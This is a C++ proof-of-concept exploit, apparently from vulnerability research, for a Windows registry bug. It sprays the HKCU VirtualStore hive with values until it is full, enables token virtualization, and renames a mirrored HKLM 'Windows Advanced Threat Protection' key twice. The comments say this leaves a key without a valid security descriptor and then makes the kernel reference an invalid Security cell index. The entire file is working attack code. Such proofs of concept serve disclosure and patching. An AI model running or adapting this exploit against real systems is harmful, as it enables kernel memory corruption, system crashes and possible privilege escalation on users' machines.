#include <Windows.h>

#include <cstdio>

BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) {
  DWORD dwVirtualizationEnabled = bEnabled;
  if (!SetTokenInformation(hToken,
                           TokenVirtualizationEnabled,
                           &dwVirtualizationEnabled,
                           sizeof(dwVirtualizationEnabled))) {
    printf("SetTokenInformation failed with error %u\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

int main(int argc, char** argv) {
  //
  // Create our own replicated key structure under the virtual store.
  //

  HKEY hvirtstore;
  LONG st = RegCreateKeyExW(HKEY_CURRENT_USER,
                            L"Software\\Classes\\VirtualStore\\Machine\\"
                            L"Software\\Microsoft\\Windows Advanced Threat Protection",
                            0,
                            NULL,
                            REG_OPTION_VOLATILE,
                            KEY_ALL_ACCESS,
                            NULL,
                            &hvirtstore,
                            NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Pre-create the value nodes to minimize fragmentation of cells during
  // spraying, and to arrive at a stable key value index that won't be
  // reallocated later.
  //

  printf("Pre-creating registry spray values...\n");

  for (ULONG i = 0; i < 0x4000; i++) {
    CHAR chValueName[10];
    _snprintf_s(chValueName, sizeof(chValueName), "%.8x", i);
    RegSetKeyValueA(hvirtstore, NULL, chValueName, REG_BINARY, "AAAA", 4);
  }

  //
  // Allocate space in the hive by creating values of descending length, up
  // to the point where there is no room left in the hive for new allocations.
  //

  CONST ULONG kMaxValueSize = 1024 * 1024;  // 1 MiB
  PBYTE chValueData = (PBYTE)malloc(kMaxValueSize);

  if (chValueData == NULL) {
    printf("malloc(%u) failed\n", kMaxValueSize);
    return 1;
  }

  memset(chValueData, 0xCC, kMaxValueSize);

  printf("Spraying registry with size %u...\n", kMaxValueSize);

  ULONG ulSprayAllocSize = kMaxValueSize, ulTotalSpraySize = 0;
  for (ULONG i = 0; ulSprayAllocSize > 4; i++) {
    CHAR chValueName[10];
    _snprintf_s(chValueName, sizeof(chValueName), "%.8x", i);

    st = RegSetKeyValueA(hvirtstore,
                         NULL,
                         chValueName,
                         REG_BINARY,
                         chValueData,
                         ulSprayAllocSize - 4);

    if (st == ERROR_SUCCESS) {
      ulTotalSpraySize += ulSprayAllocSize;
    } else {
      ulSprayAllocSize /= 2;
      printf("Spraying registry with size %u...\n", ulSprayAllocSize);
    }
  }

  printf("Registry sprayed with a total of 0x%x bytes\n", ulTotalSpraySize);

  //
  // Open "HKLM\Software\Microsoft\Windows Advanced Threat Protection" with
  // read access.
  //

  HKEY hrealkey;
  st = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                     L"Software\\Microsoft\\Windows Advanced Threat Protection",
                     0,
                     KEY_READ,
                     &hrealkey);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Enable virtualization for our process.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  EnableTokenVirtualization(hToken, TRUE);

  //
  // Attempt to rename the key in HKLM, which will trigger key replication but
  // fail to assign a new security descriptor to the leaf key in the virtual
  // store.
  //

  st = RegRenameKey(hrealkey, NULL, L"Test");

  if (st != ERROR_NO_SYSTEM_RESOURCES) {
    printf("RegRenameKey failed with error %d\n", st);
    return 1;
  }

  //
  // Attempt to rename the HKLM key again, which once again triggers key
  // replication but now ends up referencing the invalid Security cell index
  // of the virtual key during the SACL replication process.
  //

  RegRenameKey(hrealkey, NULL, L"Test");

  return 0;
}